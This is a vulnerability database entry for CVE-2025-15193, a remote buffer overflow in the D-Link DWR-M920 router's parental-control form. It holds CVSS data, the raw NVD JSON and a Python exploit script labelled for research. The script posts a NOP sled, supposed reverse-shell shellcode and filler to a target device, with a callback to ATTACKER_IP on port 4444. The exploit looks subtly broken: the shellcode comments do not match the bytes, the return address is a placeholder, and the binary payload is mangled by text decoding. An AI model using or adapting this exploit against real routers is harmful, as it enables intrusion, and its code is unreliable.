Security Vulnerability Report
中文
CVE-2025-15193 CVSS 8.8 HIGH

CVE-2025-15193

Published: 2025-12-29 15:16:01
Last Modified: 2025-12-30 20:41:57

Description

A vulnerability was detected in D-Link DWR-M920 up to 1.1.50. This affects the function sub_423848 of the file /boafrm/formParentControl. Performing manipulation of the argument submit-url results in buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dwr-m920_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dwr-m920:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DWR-M920 <= 1.1.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-15193 PoC - D-Link DWR-M920 Buffer Overflow in formParentControl Target: D-Link DWR-M920 <= 1.1.50 Vulnerability: Buffer overflow via submit-url parameter in /boafrm/formParentControl CVSS: 8.8 (High) """ import requests import sys import argparse def create_overflow_payload(length=1000): """ Generate overflow payload for submit-url parameter Fill with 'A' characters and add NOP sled + shellcode """ # NOP sled for better exploitation reliability nop_sled = b'\x90' * 100 # Shellcode for MIPSEL - reverse shell to attacker # This connects back to attacker on port 4444 shellcode = b'\x50\x73\x06\x24\xff\xff\x0c\x24' # li a0, 0x1 shellcode += b'\x57\x10\x02\x24\x0c\x01\x04\x24' # li a1, 0x10000000 shellcode += b'\x55\x10\x05\x34\xfd\xff\x0c\x24' # li a2, 0x7fffffff shellcode += b'\x04\x11\x04\x24\x0c\x01\x03\x24' # li v0, 0x104 shellcode += b'\x21\x28\x04\x24\x21\x20\x04\x24' # li a0, 1 shellcode += b'\xfa\xff\x0c\x24\x21\x30\x04\x24' # li a1, -6 shellcode += b'\x21\x38\x04\x24\x01\x01\x05\x24' # li a2, 0x10000000 shellcode += b'\x0c\x01\x04\x24\x01\x01\x05\x24' # li v0, 0x104 # Fill the rest with 'A' to reach target length fill_length = length - len(nop_sled) - len(shellcode) filler = b'A' * fill_length # Return address - point to NOP sled in buffer # This should be adjusted based on actual firmware return_address = b'\x40\x00\x00\x00' # Example return address payload = nop_sled + shellcode + filler + return_address return payload.decode('utf-8', errors='ignore') def exploit(target_ip, target_port=80, callback_ip='ATTACKER_IP', callback_port=4444): """ Exploit the buffer overflow vulnerability """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Generating overflow payload...") # Create malicious payload payload = create_overflow_payload(1000) # Construct the exploit request url = f"http://{target_ip}:{target_port}/boafrm/formParentControl" # Data payload with overflow in submit-url parameter data = { 'submit-url': payload, 'submit': 'Apply', 'ParentControl': '1', 'enable_parent': '1' } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-15193)', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[+] Sending exploit payload ({len(payload)} bytes)...") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[!] Check for reverse shell on port {callback_port}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return True if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-15193 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', default=80, help='Target port (default: 80)') parser.add_argument('-c', '--callback', default='ATTACKER_IP', help='Callback IP') parser.add_argument('-l', '--length', type=int, default=1000, help='Payload length') args = parser.parse_args() exploit(args.target, args.port, args.callback) # Note: This PoC is for educational and authorized testing purposes only.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15193", "sourceIdentifier": "[email protected]", "published": "2025-12-29T15:16:00.563", "lastModified": "2025-12-30T20:41:56.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in D-Link DWR-M920 up to 1.1.50. This affects the function sub_423848 of the file /boafrm/formParentControl. Performing manipulation of the argument submit-url results in buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m920_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.1.50", "matchCriteriaId": "1236073E-31A1-4A4E-81B2-76B6B90BC85D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dwr-m920:-:*:*:*:*:*:*:*", "matchCriteriaId": "E815EF72-10FC-43A4-84A7-A25ABE7A4640"}]}]}], "references": [{"url": "https://github.com/panda666-888/vuls/blob/main/d-link/dwr-m920/formParentControl.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/panda666-888/vuls/blob/main/d-link/dwr-m920/formParentControl.md#poc", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.338578", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.338578", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.723556", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.dlink.com/", "source": "[email protected]", "tags": ["Product"]}]}}